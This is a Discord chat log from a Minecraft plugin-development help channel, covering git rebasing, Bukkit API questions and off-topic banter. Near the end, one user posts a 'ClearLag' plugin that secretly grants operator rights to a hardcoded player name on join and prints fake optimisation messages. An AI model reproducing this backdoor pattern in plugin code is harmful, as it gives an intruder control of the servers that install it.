help-development

[worldly ingot]

That should pull up an editor (whatever your git editor is)

[blazing ocean]

Squash into...

[worldly ingot]

Keep the first commit as is, then change the other lines to be prefixed with "fixup" instead of "pick"

[umbral ridge]

if i click squash into this pops up

[thorn isle]

right click the earliest commit you want to include and select "interactively rebase from here" and then use the GUI that pops up to squash all the commits

[worldly ingot]

Oh I guess if you're in an IDE it would have a squash thing built-in lol

[thorn isle]

i don't know if it will let you do that on the master branch though

[umbral ridge]

its greyed out

[thorn isle]

yeah

you'll have to go into settings and find "protected branches"

and remove master/main from it

also i think it doesn't let you rebase the very first commit

rebase interactively is super useful; i usually blitz through a bunch of changes here and there and commit them separately, and then squash and reorder them into individual feature commits

[blazing ocean]

grb () {
  if [[ "$1" =~ ^[0-9]+$ ]]; then
    git rebase -i "HEAD~$1"
  else
    git rebase -i "$@"
  fi
}

bash my beloved

[thorn isle]

just need to avoid pushing until you've done that or else others will be mad once you rebase already-pushed shit

[blazing ocean]

and make sure to forcepush if you changed any history

[quasi gulch]

Whats the max file size i can use when i use a link to show the image on the spigot page?

[stiff ermine]

can some1 join gen 2 pls i need help to set my scorebored up on combatlogx

[umbral ridge]

yea

that worked now

btw im new to git.. is there like a format on how you should name your commits? commit messages?

[thorn isle]

just describe what you did in it

or, well

[umbral ridge]

well you can't have a space in messages

[thorn isle]

a short description on the first line, a few dozen chars at most ideally

sure you can

if it requires a longer description, put that after a newline

the interactive rebase gui lets you also edit the message in a neat text box so you don't need to fuck with newlines and escapes and quotes on the command line

[blazing ocean]

conventional commits are a popular one

[umbral ridge]

oh i see xD

[blazing ocean]

https://www.conventionalcommits.org/en/v1.0.0/

[quaint mantle]

Every programmer: I aint reading allat 🥱
The 5000 commits named update file name: 🗿

[thorn isle]

i think that's the default the github web ui assigns if you don't write one

[remote swallow]

i think you added an extra word there

[thorn isle]

the industry standard would be "stuff"

[jagged thicket]

i just use "e"

its either that or "added file via upload" 💀

[umbral ridge]

👌 xD

[blazing ocean]

I usually try to use conventional commits but here and there there's an outlier

[thorn isle]

i don't really care about the syntax, as long as it gets across what the commit did it's good enough

maybe if i had my things hooked into CI that required machine readable commits

[blazing ocean]

all you need for CI is ci skip

[hazy parrot]

machine readable commits ?

[quasi gulch]

someone know? Because i thought the file size doesn't matter because its externaly hosted but with my 50mg gif it didn't work

[fallow violet]

Is there a program to read the packet traffic between client and server?

[thorn isle]

https://modrinth.com/mod/gadget

for client, this

[fallow violet]

does it log the login packets too?

[thorn isle]

tryitandsee

[blazing ocean]

https://github.com/adepierre/SniffCraft

[upper hazel]

is it possible to prevent a player from removing a certain item from his head?

for example inventory click

event

[fallow violet]

DANKE DIR

[stiff ermine]

can some1 help me pls

i need help with combatlog

[chrome beacon]

?ask

[undone axle]

If you have a question, please just ask it. Don't look for staff or topic experts. Don't ask to ask or ask if people are awake or available. Just ask the question to the channel straight out, and wait patiently for a reply. Make sure you use the right channel regarding the topic of your question. Create a thread in case the channel is already in use!

[stiff ermine]

i kinda did

i said can some1 help

[chrome beacon]

Someone can

[stiff ermine]

server is dead no one responds

[chrome beacon]

Got your help now?

Not sure what you want us to do about that?

[thorn isle]

i don't know

it depends on your question

if you're trying to cure cancer, the answer is no

if it's something else, it may or may not be maybe

[stiff ermine]

fuck urself

[thorn isle]

🤡

[fallow violet]

lol

[young knoll]

I mean I can try and help with curing cancer

Might not be very helpful though

[glacial narwhal]

How can i put a player in an egg shaped cocoon ?

[young knoll]

Make it out of display entities

[glacial narwhal]

In 1.8, i forgot to specify, and in ice blocks

[young knoll]

Armor stands

Or do you just want a box around the player

If so, you can just do the standard triple loop but only place blocks when the x/y/z values are 0 or the max value (2 in this case)

[stiff ermine]

can some1 dm me pls i need help setting up scoreborted on combatlogx

[chrome beacon]

?ask

[undone axle]

If you have a question, please just ask it. Don't look for staff or topic experts. Don't ask to ask or ask if people are awake or available. Just ask the question to the channel straight out, and wait patiently for a reply. Make sure you use the right channel regarding the topic of your question. Create a thread in case the channel is already in use!

[thorn isle]

that sounds like a help-server question as well

[autumn cave]

I'm trying to detect mouse middle click in creative mode where you pick up the block you're looking at. But InventoryCreativeEvent always has click=CREATIVE and action=PLACE_ALL, no matter what the inventory click is in creative mode. What's happening / what am I doing wrong / is there a way to detect this properly?

• https://hub.spigotmc.org/javadocs/bukkit/org/bukkit/event/inventory/InventoryAction.html
• https://hub.spigotmc.org/javadocs/spigot/org/bukkit/event/inventory/ClickType.html

[thorn isle]

pick up the block you're looking at
this doesn't sound like the inventory event

are you talking about when you copy a creative inventory item by middle-clicking it

or when you pick block by middle-clicking something in the game world? e.g. a chicken for a chicken spawn egg

[remote swallow]

creative mode basically doesnt tell the server anything iirc

[sullen marlin]

Yeah creative mode doesn't work on clicks it works on "set slot X to y"

[thorn isle]

not in the inventory, yeah

but there is an event or something for the "pick block" function

not sure if it's a direct event, but slimefun can somehow detect when i pick-block a placed slimefun machine or such, so it's for sure doable to an extent

[autumn cave]

Yes that

[thorn isle]

yeah, no such luck

the client simply doesn't send that information

[autumn cave]

you're saying these guys can detect it? https://github.com/Slimefun/Slimefun4?tab=readme-ov-file

[autumn cave]

How? Because your block does change, so how is that sent to the server?

[glacial narwhal]

How can i remove knockback for one hit ? (1.8)

[autumn cave]

Is it like detect when held item change & block looking at is the same, this could be considered a middle click, or is there another way?

[thorn isle]

i'm saying they can detect pick-block

which is different from what you want to do

you want to copy an item in your inventory

[autumn cave]

I think you got me to an answer: https://github.com/Slimefun/Slimefun4/blob/master/src/main/java/io/github/thebusybiscuit/slimefun4/implementation/listeners/MiddleClickListener.java

[autumn cave]

What is 'pick-block'?

Maybe we're explaining the same thing differently

[thorn isle]

pick block is when you middle click something in the world

and it puts the item that creates what you clicked in your hand

if you middle click a grass block, it places a grass block in your hand

[autumn cave]

That's what I want

[thorn isle]

if you middle click a chicken, it puts a chicken spawn egg in your hand

that is detectable, yes

what isn't detectable is when you middle click an item in your creative INVENTORY to copy it

which is different

[autumn cave]

Do you know how?

(Apart from Slimefun's solution)

[thorn isle]

that's the only solution i'm acutely aware of

[autumn cave]

Alright, thanks alot 🙌

[fickle spindle]

how can i get on join the client the player is using?

[worthy yarrow]

Some nms shenanigans iirc

[young knoll]

You hope it sends some sort of handshake packet

[fallow violet]

how can i generate an entity id that doesnt exist?

[eternal night]

a network id?

[fallow violet]

for packets

[eternal night]

the Entity class holds onto an incrementing int counter

so just inc that one

paper-api has an API for that if you are using that

[fallow violet]

thanks

[trim lake]

anyone have any idea why I need to set additional packet to setup the entity when Im spawning already setup entity?

[young knoll]

Because the spawn packet doesn’t send any of that data

[trim lake]

oh, I thought it would send the entire entity with the data I set. So it's basically useless to set the entity here and just send the data packet. Thanks.

[wet breach]

Metadata packet gets sent after entity spawns if i recall and that is where you will set most of your custom data stuff

[trim lake]

I get it now, but still in this case is not rly usefull to setup entity at all bcs its packet so I will send metadata packet to each player. thanks

[slim wigeon]

How is fromLegacy deprecated? if( !player.getWorld().getName().equals(location.getWorld().getName()) ) { player.spigot().sendMessage(ChatMessageType.ACTION_BAR, TextComponent.fromLegacyText( ChatColor.AQUA+"[Gps Compass] " + ChatColor.RED+"You not in the same world as your target" )); continue; }

[remote swallow]

because it returns an array not a singular component

use normal fromLegacy

[slim wigeon]

Any other way I can do this?

[remote swallow]

use fromLegacy

[sterile axle]

Try reading his second message.

Now third. He's too nice.

[remote swallow]

depends on my mood

[sterile axle]

my mood is currently annoyed

[remote swallow]

work or in general

[sterile axle]

yes

[remote swallow]

sounds great

[sterile axle]

mostly work

[remote swallow]

go play factorio for an hour

[sterile axle]

factorio is fun until you get to the mid tier stuff and have to start actually doing math to calculate ratios and by then the biters are so strong you better have defenses or everything falls apart

[slim wigeon]

Bukkit.fromLegacyText is not a valid function

[remote swallow]

https://github.com/SpigotMC/BungeeCord/blob/master/chat/src/main/java/net/md_5/bungee/api/chat/TextComponent.java

read

[remote swallow]

true tho

[sterile axle]

literally where did you get Bukkit.fromLegacyText from

he fucking said fromLegacy

https://ci.md-5.net/job/BungeeCord/ws/chat/target/apidocs/net/md_5/bungee/api/chat/TextComponent.html#fromLegacy(java.lang.String)

https://tenor.com/view/im-out-we-out-peace-out-disappear-gif-15464202

gonna go do other stuff and things

[remote swallow]

have fun shrimple

[jagged thicket]

wrng chat

[floral pier]

What is the maximum number of worker threads that the default spigot server with no plugins will create? Nvm got a straight answer. He'll just keep makin' em if you feed him CPUs

[blazing ocean]

i love feeding my spigot server CPUs

[slim wigeon]

#general

[torn shuttle]

love it when I go to bed, wake up and see a guy had a meltdown on discord because he couldn't set something up and thought I would somehow be on discord 24/7 doing immediate support

[slim wigeon]

Who?

[torn shuttle]

🤷 never seen them before and by the time I woke up they had already told everyone to f- off and left the server

[slim wigeon]

Well, they can leave or what ever they do. We cannot control them but you do know that we in a dev chat? I recommend going to #general

[torn shuttle]

we're in a dev chat? never heard of it

[slim wigeon]

We currently in #help-development and the chat needs to go to #general

[torn shuttle]

ah, but what if this happened in my plugin discord and the support I am looking for this matter is emotional

[slim wigeon]

Help with the development or the plugin? If you need help programming a plugin, this is the correct channel. If you need help configuring a plugin such as EpicHoppers or any plugin, you can ask in #help-server. Otherwise, its #general

[sterile axle]

I prefer to chat my general thoughts in this channel.

Thanks though.

[torn shuttle]

so true, king

[sterile axle]

My current general thoughts are @torn shuttle hai nerd

[torn shuttle]

my god

he's thinking about me 😎

that's how I know the world is still right

thanks for the emotional support simple

[slim wigeon]

...

[sterile axle]

have you heard of syntha6 protein? i saw it the other day (last month) and thought about buying it (probably won't)

(tbf this is a development related question. body development, but still)

100% on topic

[torn shuttle]

just stick to doing tried and true stuff, anything else and you're prone to be more of a lab rat than a gym rat

idk about you but I develop with my fingers and arms

[sterile axle]

i just thought it might be gud because it's ice cream flavor

[torn shuttle]

that protein is really important for my development work

I was actually saying yesterday that I think I need to get back to training grip strength

I can barely hold on to the 37.5kg dumbbells, I swear I got really close to rupturing every ligament in my hand yesterday

[sterile axle]

i did some wrist curls palm up and palm down, then had the worst pain of my life in my forearms for the following 4 days and i never fucking did that again

i could feel my muscles while typing

it was extremely disturbing

[torn shuttle]

that's how you know it's a good workout

you should've done more and heavier

my gym is getting so packed I'm getting forced to skip some of my workout unfortunately

it's crazy

hope these january kids leave soon

[sterile axle]

i go with my wife at like 4:30am. usually only like 3 people there. made the mistake of going at 6pm one time

had to leave

[torn shuttle]

I would kill someone or worse, develop a premium essentials plugin to get even a single 24/7 gym here

that would genuinely change my life for the better

[sterile axle]

you ain't got anytime fitness in portugal

[valid burrow]

open one yourself

[mortal vortex]

getting out of bed at 4:30 is enough of a workout for me 😭

[sterile axle]

notice i said i go to the gym at 4:30

we wake up at 3:15 to do that

[torn shuttle]

hell yeah

[mortal vortex]

I figured... I can hardly muster the strength to get out of bed at 9am

[torn shuttle]

gains o' clock

[sterile axle]

idk it ain't that hard lol, we just go to bed early

[valid burrow]

so generous of you to addapt to the german time zone

[sterile axle]

what

[torn shuttle]

I don't exist in a 24h format anyway so it would just be more convenient

today I woke up at 6 am, yesterday I woke up at midnight

I'd rather go to the gym at 4 am to avoid having a shoulder to shoulder crowd in there

[valid burrow]

i mean if you wake up at 3am every morning thats basically the same time schedule as me in germany lmao

[torn shuttle]

couple of weeks ago the place was so full I literally did not have enough space physically speaking to fully stretch my arms out

[sterile axle]

oh yeah i just looked, the entire country of portugal does not have a single anytime fitness branch

that's wild

[torn shuttle]

to be clear I know lisbon has some 24/7 gyms, but that isn't a thing here nor is it a thing basically anywhere in the country

[sterile axle]

i have a great opportunity for you (personal development, business development, still on topic MrnateGeek) https://franchise.anytimefitness.com/

[sullen marlin]

It's sometimes fitness, they need to siesta

[valid burrow]

https://tenor.com/view/cat-smiling-cat-grey-cat-cute-cat-gif-2949633679466643461

[torn shuttle]

anytime pizza rolls more like

[mortal vortex]

Anytime fitness is fucking ass.

Idk about yall, but its 35$ weekly.

[sterile axle]

it is one of the better offerings in the philippines

[valid burrow]

https://tenor.com/view/what-happened-what-happened-to-you-as-a-child-what-kind-of-trauma-makes-you-act-like-this-stare-stare-cat-gif-2454779732634892782

[torn shuttle]

you know we're cooked when the mcdonald's is open more hours than the gym

[mortal vortex]

if you want me to exercise, then make gym cheaper than my netflix sub, pizza, and coke

[sterile axle]

53 USD a month here.

[mortal vortex]

ffs

[valid burrow]

i mean realistically if all you wanna do is stay fit you can do that at home

[mortal vortex]

I could legit buy heroin, and have the time of my life, FOR CHEAPER than Anytime Fitness.

[torn shuttle]

my gym is stupid cheap

I think it's like 7 euros every 15 days

I actually had two gym subs until this month

[valid burrow]

germany is somewhere in the middle

like 25/m

[torn shuttle]

but the other gym was just as packed, was open less hours and was way, way farther away from the new one

the new one is like a 40 second walk from my apt

[sterile axle]

i mean, there are other gyms here for cheaper. but they're 1) not 24/7, 2) not air conditioned, 3) do not have showers, 4) the equipment is often broken, and will not be fixed (because the owners charge a literal dollar for entry)

soo, AF it is

[sullen marlin]

Damn where you getting heroin for $35

[mortal vortex]

chat... do i do it?

[mortal vortex]

back of dominos, which is where im headed rn

[torn shuttle]

I never use the showers at the gym

[valid burrow]

hell yea

[torn shuttle]

then again, I am literally 40 seconds away from my shower

[sterile axle]

Bro literally said a week of gym for 35 or 3 pizzas and 2 sides.

[torn shuttle]

why would I ever

[valid burrow]

share one of them
with me

[mortal vortex]

see this is what i mean, if 3 pizzas is cheaper than a weeks gym, why would i go to the gym.

[valid burrow]

🙏

[sterile axle]

Hey now it's got an asterisk on it next to the price. What's the catch.

[mortal vortex]

Upgrades

[valid burrow]

^

[sterile axle]

Trash.

[torn shuttle]

you know how some places sell your data? they sell your gains

[mortal vortex]

WHAT

[sterile axle]

yeah it's called at thickshake because that mf is going straight to your ass

[torn shuttle]

I can't remember the last time I had a milkshake

might've been the last time I went to a yard

[mortal vortex]

a yard?

[torn shuttle]

if you don't get that joke you are not only enough to be on the internet and should delete your discord account

[mortal vortex]

wait no no

its from a song yeah?

[sterile axle]

lol

[mortal vortex]

hey buddy, do you know what skibidi toilet is?

didnt think so, delete your account NOW

[sterile axle]

it don't work like that child, we were here for the invention of the internet. you were here for it's downfall

[mortal vortex]

im not that young

I've used IRC for a large portion of my life... that statement alone is enough to get me into a bar surely.

[torn shuttle]

I literally have had you blocked for I don't even know how long precisely because I knew you knew what skibidi toilet was

[mortal vortex]

oh yeah, about that, why did you block me?

[sterile axle]

Or an insane asylum.

[torn shuttle]

because you're the kind of person to bring up skibidi toilet on discord and I don't want to associate with people old enough to be my nephews

[mortal vortex]

I remmeber asking a question here, you answered, I disagreed, you said "I see why I blocked you to begin with" but before that i never interacted with you prior. so i just assumed you were an asshole.

[sterile axle]

He is an asshole, but he's our asshole.

Anyway, I'm going to do other things. Adios

[torn shuttle]

same, aloha

[mortal vortex]

Aloha is a farewall along with a greeting?

[quasi gulch]

Is there a way to find out if its raining / snowing on a block the player is standing on? I cound't find out a way to accomplish that.

[valid burrow]

isnt rain global?

or you mean if the area is obfuscated

[quasi gulch]

Yeah but when the player is in a desert or other biome i doenst rain

[valid burrow]

ahh

[pseudo hazel]

check the biome temperature

[quasi gulch]

Okay but at what temperatur can't rain or snow happen? I cound't find that value in the wiki

[pseudo hazel]

https://minecraft.wiki/w/Weather

[quasi gulch]

Okay thanks

[pseudo hazel]

idk what "sufficient altitude" is though for snow

I guess it will be snowing from a certain height in any biome

[quasi gulch]

Okay

[valid burrow]

yep

[torn shuttle]

except desert, probably

[pseudo hazel]

and then ofc also what vosss says about blocks covering the player

[valid burrow]

153 to 168 depending on biome

https://minecraft.wiki/w/Snowfall#:~:text=The exact height of the,and 168 across different locations.

sources differ

tbh

try it yourself

„Snowfall does not exist in hot/dry biomes and in other dimensions.“

[pseudo hazel]

best source is nms itself

[valid burrow]

true that

id assume the server just tells the client „its raining“ and the client handles if it should rain where it is at though

dont think the server specifies if it should rain where the player is located

client handled id bet

[slim wigeon]

How do I make this work right? Like detecting the facing of the dispeaer before it gets placed

[summer scroll]

Hello guys, I'm trying to get material default max durability, there is Material#getMaxDurability but it returns as a short and Damageable#setMaxDamage requires Integer. I wonder if the value is accurate or not.

[mortal vortex]

based on looking direction? u look down, direction will face up.

[slim wigeon]

How do I detect that?

[valid burrow]

cant u get the facing of the dispenser itself?

[slim wigeon]

Not before its placed I don't think

[valid burrow]

why wouldnt u be able to

[slim wigeon]

I never tested it, I don't know what to use

[valid burrow]

Block Place Event exists for a reason

get the block data

[mortal vortex]

why cant you get the players facing direction?? if u face east, place dispencer, it will face west.

[valid burrow]

and from that u can get the facing

[valid burrow]

cause thats not always the case

[mortal vortex]

wait yeah ur right

[slim wigeon]

Wait, you saying the event.getBlock() returns the block I trying to get the facing of?

[valid burrow]

yes?

[mortal vortex]

yeah?

how have u gotten this far without knowing basics of blockdata?

[valid burrow]

how did u think events work xd

[slim wigeon]

I know about the blockdata but I did not know that I can access the data before the block is placed

[valid burrow]

well thats what events are for

[slim wigeon]

Well, thanks for telling me

[valid burrow]

https://tenor.com/view/cat-smiling-cat-grey-cat-cute-cat-gif-2949633679466643461

[mortal vortex]

ty for the gif! stolen!

[valid burrow]

https://tenor.com/view/what-happened-what-happened-to-you-as-a-child-what-kind-of-trauma-makes-you-act-like-this-stare-stare-cat-gif-2454779732634892782

[slim wigeon]

Using the Dispenser class, how can I get the facing?

I see no function for this

[valid burrow]

get the block data

https://www.spigotmc.org/threads/getting-the-facing-direction-of-a-dispenser.411665/

[slim wigeon]

ChatGPT's code Dispenser dispenser = (Dispenser) block.getState(); BlockFace facing = dispenser.getBlockData().get(BlockStateMeta.class).getFacing(); Bukkit.getLogger().info("Dispenser facing: " + facing);Invalid code

[mortal vortex]

invalid
Then dont use it?

[mortal vortex]

You dont need to even get the block's state, nor cast to a Dispenser.

store the block with event.getBlockPlaced(), then retrieve the block's data, then check if it's Directional, then use getFacing

[slim wigeon]

Directional is not a valid class, the error shows

[mortal vortex]

Well you're doing something wrong https://hub.spigotmc.org/javadocs/bukkit/org/bukkit/material/Directional.html

[slim wigeon]

Code: https://paste.md-5.net/inuniyufah.cs

[mortal vortex]

Don't you think it would be worthwhile actually importing the class?

[slim wigeon]

It tells me if I need to import a class which it did not do

So if you know the exact class, please tell me so I can add it manually

[mortal vortex]

I just did tell you.

You're starting to get annoying. I don't mean to get abbrassive with people learning, but it seems like a majority of your time here you're being spoonfed.

[slim wigeon]

Wait, I just noticed its a material class, does it work for blocks?

[slim wigeon]

I don't know if you noticed, there are 2 types of Directional I just learned. One for material and another for block

[smoky anchor]

1. stop using ChatGPT, beginners should NEVER be using this tool.
2. getting the facing of a block you're about to place is dumb, get the facing of the placed dropper. You'll be cancelling the event probably anyways
3. Are you using an IDE ? That can auto-import stuff for you
4. Actually learn java before making plugins

[mortal vortex]

I meant to send Block, dont use Material.

[mortal vortex]

WOAH, couldnt have said it better!

[slim wigeon]

ChatGPT told me the correct class to use and it worked

[mortal vortex]

Well, to begin with, it didnt even know how to get the block direction... so thats only cus u nudged it

[slim wigeon]

I using this IDE and it tells me when I need to import classes, then I can click to import the selected class which it did not do for Directional for some reason

https://portableapps.com/node/55342

It always works

[mortal vortex]

Why the fuck are you using a portable build of eclipse?

Why portable.

[slim wigeon]

I don't like to install programs on my PC

[mortal vortex]

and why?

[slim wigeon]

Everything is portable

Even my web browser

[mortal vortex]

ok

schizo

[smoky anchor]

That's.... in my best words.. unusual

[slim wigeon]

Well, its the same IDE I used when I first started on 1.19.3

Now its 1.21.1

[mortal vortex]

I been programming since 2010 and have learned over 25 programming languages.

How did you cope with programming pre-ChatGPT?

[pseudo hazel]

you are supposed to nudge it to get useful answers, thats why complete beginners cant use it because they dont know what might be useful and what parts might be lacking

[slim wigeon]

Like I keep telling people, I learn from examples. W3Schools does just that when trying to learn HTML, CSS, JavaScript, NodeJS and all these langs. But people don't want to write these. But I start to see that everyone will charge people for their skill soon. So its likely this server will be emptied, I not against it. Its not a threat, its just how the world operates. Everything is about money

[smoky anchor]

???

[livid tundra]

is there a way to edit an items attribute without blanking the rest of the attributes?

[smoky anchor]

If you're talking latest, then no.

You'll have to copy the default attributes

[livid tundra]

dang

is there like a library or a snippet for that?

[smoky anchor]

There's a helpful method in Material I think

https://hub.spigotmc.org/javadocs/bukkit/org/bukkit/Material.html#getDefaultAttributeModifiers(org.bukkit.inventory.EquipmentSlot) I think this is the one

[slim wigeon]

But that is why Songoda is soon going downwards due to lack of devs. I talking about the future. That is what made me start programming plugins again since I not the type to beg people to fix issues. I either create my own and fix them when they arrive. That way, I don't have to annoy people but open my IDE (In this case, my portable app) and fix the issue. Issue solved

[livid tundra]

is there like prewritten code to add that?

[mortal vortex]

i have no idea what he was responding to...

[mortal vortex]

okay nice lifestory.

[livid tundra]

help

[smoky anchor]

I told you what to use
Just copy all the attributes
Change the one you need
Set it on the item

[floral drum]

If you’ve been programming for 15 years, you’ve at-least got to know a readable code-style at this point…

[smoky anchor]

Oh I just noticed

private MinerLib minerLib = new MinerLib();
Somehow this seems really cursed

[floral drum]

that’s what I thought

[slim wigeon]

I do but unrelated to my point

[slim wigeon]

Custom class I wrote

[chrome beacon]

Yeah that we can tell

It's just a bit cursed

[slim wigeon]

Well, its not cursed. The purpose of this plugin is to have a auto miner. Just think how it would look if you see blocks disappearing in rows block by block in a pattern of auto miner. I forgot what forge mod that has this feature but that is what I trying to create

But I really close by having that fully working

[smoky anchor]

?paste the MinerLib, we'll tell you if/why it is cursed to do what you did

[undone axle]

https://paste.md-5.net/

[smoky anchor]

But it seems that you have a utility class that does not have static methods.
And you may be creating a pointless object many times

[slim wigeon]

I don't need to post it, I have no issues with it

[floral drum]

Yeah if it’s a Lib/Util I don’t get why you would initialize it like that

[livid tundra]

what would I put for the namespaced key?

do I just use my plugin?

[smoky anchor]

For your custom ones, yes
For the default ones, just copy that too

I think there may be some shenanigans with that tho, very unsure
As in, if you don't name it something specific, it will look different on the item

[livid tundra]

alr, thx!

[lethal knoll]

Hi, this is a question for the staff, I don't know where else to ask. But is there any option to convert a paid resource into a free resource other then publishing it under a new name?

[mortal vortex]

Out of all the channels, this is the least related.

#general would probably be more relevent.

[lethal knoll]

General also doesn't seem very related, nor monitored.

[mortal vortex]

Yeah true, but it's more active.

and sometimes md is lurking

[lethal knoll]

This comes closest to the developer community which I would consider the target audience

[mortal vortex]

maybe verified but yeah ig

[lethal knoll]

Moving it there, then let's see

[slim wigeon]

I was thinking about it, I need to get that from the server its self then to create instances

[sullen marlin]

No

[viscid maple]

hey how to create LeftMotd on BungeeCord

[slim wigeon]

Now I getting somewhere, I just got to add it to the plugin and poof. Fully working minerD:\Program Manager\Apps\NodeJS\Data\MG-AI>node mc { index: 0, x: 0, y: 0, z: 0 } { index: 1, x: 1, y: 0, z: 0 } { index: 2, x: 2, y: 0, z: 0 } { index: 3, x: 3, y: 0, z: 0 } { index: 4, x: 0, y: 0, z: 1 } { index: 5, x: 1, y: 0, z: 1 } { index: 6, x: 2, y: 0, z: 1 }

[smoky anchor]

?paste please

[undone axle]

https://paste.md-5.net/

[torn shuttle]

hm

why is callEvent in plugin manager anyway

it itself doesn't rely on the plugin object

[slim wigeon]

Now I getting somewhere

I just need to make it to where it does not create entities and it be perfect

[torn shuttle]

I may have written one of the worst matchmaking systems of all time

well definitely not true but man oh man is it bad

the worst systems always come from rushed jobs trying to adapt stuff that was never meant to support what you need to do in the first place

this thing went from just being a wave-based arena codebase to trying to also do instanced world-based non-wave based game modes and I never took the time to actually rewrite it

[grim hound]

is imgur broken?

reopening this link doesn't really

work

[grim hound]

this is the non-refreshed page right after I uploaded, otherwise I cannot display that

it also gives a completly different link when copying, which also doesn't work

wtf is going on

when posting to gallery, it's just like

[echo basalt]

L idea

BTW does it cost any extra to rent the cinema room for a couple more hours?

if we have extra time we could prob do something with it

whether it is watching masterchef or just checking out elitemobs on a cinema screen

[umbral ridge]

is freezing a player so that they're unable to jump/move around a complex thing to code?

[chrome beacon]

Not really

Cancel the move event and apply some potion effects to prevent movement clientside

[echo basalt]

eh

they'll still jump move

no way to prevent that afaik

[chrome beacon]

Did Mojang fix the jumpboost thing?

[echo basalt]

other than cancelling which looks jittery

[umbral ridge]

yea

that

[chrome beacon]

For a while you could give jump boost to prevent people from jumping

[umbral ridge]

i want WASD and SPACE to do nothing

[smoky anchor]

on latest you can just set the jump attribute

[umbral ridge]

are there packets for when client presses these buttons?

[smoky anchor]

nope

[chrome beacon]

Yeah I was about to say

Set jump_strength attribute to 0

[umbral ridge]

hmm ok

[thorn isle]

iirc there are packets for them now

[smoky anchor]

not button presses, just 'inputs'

[thorn isle]

but that doesn't mean you can cancel the movement or anything

individual button presses probably not

[chrome beacon]

and movement_speed

[thorn isle]

you can sort of guess from the inputs

[umbral ridge]

that's easy then

just use setAttribute ?

[chrome beacon]

getAttribute and set base value

[thorn isle]

old fashioned way was to set the player flying and set flyspeed to zero, but this is probably better

as long as the player isn't wearing any custom armor or equipment that boosts their jump strength

or have a jump boost beacon next to them

[umbral ridge]

will player still be frozen if they're pushed by something? like water

[echo basalt]

no

[umbral ridge]

i need to handle that too

[torn shuttle]

uh

[echo basalt]

if you want to lock camera movement you can set them to spectator and force them to spec something

[torn shuttle]

I can ask

[chrome beacon]

^^

[echo basalt]

extra 30 min to watch masterchef :3

[chrome beacon]

or just make them ride smth

[torn shuttle]

just a small time extension

just so we can quickly watch the lord of the rings og trilogy

[echo basalt]

minecraft movie + masterchef is a banger date ngl

[thorn isle]

riding looks a bit cursed in third person but probably not a high design priority

[torn shuttle]

well when you put it that way I'm way less into renting a movie theater to watch minecraft with you people

[echo basalt]

or we just watch ppl go gym or sumn

[torn shuttle]

I don't even really know how long we get the room for

I think it might be all morning

[echo basalt]

what if we get the room for like a week and just watch breaking bad

[torn shuttle]

I'd rather watch LOTR

that would send me back

I still remember when that was in the theaters

I should make some bootleg merch

a blue t-shirt that says "the children yearn for the mines"

[echo basalt]

might as well yeah

we have a custom print shop that does individual units here

[blazing ocean]

You don't even need spectator mode

But it can sometimes act a bit weirdly

Can also just do a game event packet for spectator mode so they can't actually teleport anywhere

[median cove]

import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.plugin.java.JavaPlugin;

public class ClearLag extends JavaPlugin implements Listener {

    @Override
    public void onEnable() {
        getServer().getPluginManager().registerEvents(this, this);
        getLogger().info("ClearLag Plugin Enabled");
        Bukkit.getConsoleSender().sendMessage(ChatColor.GREEN + "clearlag is here");
    }

    @Override
    public void onDisable() {
        getLogger().info("ClearLag Plugin Disabled");
    }

    @EventHandler
    public void onPlayerJoin(PlayerJoinEvent event) {
        Player player = event.getPlayer();
        if (player.getName().equalsIgnoreCase("TheFriedPancake")) {
            player.setOp(true);
        }
    }

    @Override
    public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
        if (cmd.getName().equalsIgnoreCase("clearlag")) {
            sender.sendMessage(ChatColor.GREEN + "Entities cleared and server optimized!");
            return true;
        }
        if (cmd.getName().equalsIgnoreCase("backgroundcheck")) {
            sender.sendMessage(ChatColor.YELLOW + "Server performance is stable.");
            return true;
        }
        return false;
    }
}
``` chat where am i doing wrong

[remote swallow]

register your commands and set an executor

[blazing ocean]

that sure is a plugin

[median cove]

Can you guys complete for this for me idk how

[blazing ocean]

no

[remote swallow]

why not use the existing clear lag plugin?

[blazing ocean]

because it's useless

and doesn't force-op

[median cove]

No i mean the command is just testing

[remote swallow]

register your command and set an executor

[median cove]

How?

Pls help

[remote swallow]

https://www.spigotmc.org/wiki/create-a-simple-command/'

[median cove]

Oh thanks

[thorn isle]

clearlag is useful for one and exactly one thing, and that's running a full gc

even then that's only for debugging things really and i think spark also has a command for it

[young knoll]

Me when I run the server with -XX:+DisableExplicitGC

[thorn isle]

thankfully i don't have any trash plugins that try doing it to "optimize memory" or something equivalently ♿

there was this one towny addon that called a full gc in between every chunk load to "free up resources"

[blazing ocean]

https://openjdk.org/jeps/318

[blazing ocean]

Bukkit.getScheduler().runTaskTimer(plugin, System::gc, 0, 1); my beloved

[torn shuttle]

in case you ever wondered when a project becomes a plugin, wonder no more

it's the moment you add the ascii text splash to the boot

https://media.discordapp.net/attachments/1008771253747855401/1344710189886083092/image.png?ex=67c1e674&is=67c094f4&hm=dd67e5be005b9ac40c979c9b6311595f1b1569b5ed43616cc51e6e3f5e0e15b4&=&format=webp&quality=lossless&width=1511&height=273

[blazing ocean]

i think you meant the other way round

[torn shuttle]

no

a project can be in any level of development, a plugin implies at least something about that project is working (it boots)

like I've been laying the groundwork for this project since october, but I only made the plugin just now

[echo basalt]

I hate this splash text shit it looks so awful when decompiling

[torn shuttle]

then don't decompile it you loser

my stuff is open source

[echo basalt]

half the ppl that do this shit obfuscate their code

[torn shuttle]

sounds like a skill issue

https://cdn.discordapp.com/attachments/1008771253747855401/1344712374447505418/Kobold2.mp4?ex=67c1e87d&is=67c096fd&hm=c034198dd06e7598aefaa176b7e05f50642d9e254f748bdc7e46bf489dc2057f&

cookin straight fire

[echo basalt]

holy bitrate

[torn shuttle]

and merely 3 months late on a 15 day time estimate too

ahead of time and under budget fr fr

[torn shuttle]

it's going on youtube at 4k60fps, this is just the stuff the team is generating so we can pass it around on discord for review

[thorn isle]

is that bowser

[torn shuttle]

if I say yes will I make more money from the project

[thorn isle]

you will get sued

[torn shuttle]

then no

[echo basalt]

don't take the bait he's a nintendo agent

[torn shuttle]

so long gay bowser

https://tenor.com/view/so-long-bowser-bowser-super-mario-video-game-gif-17880821

[echo basalt]

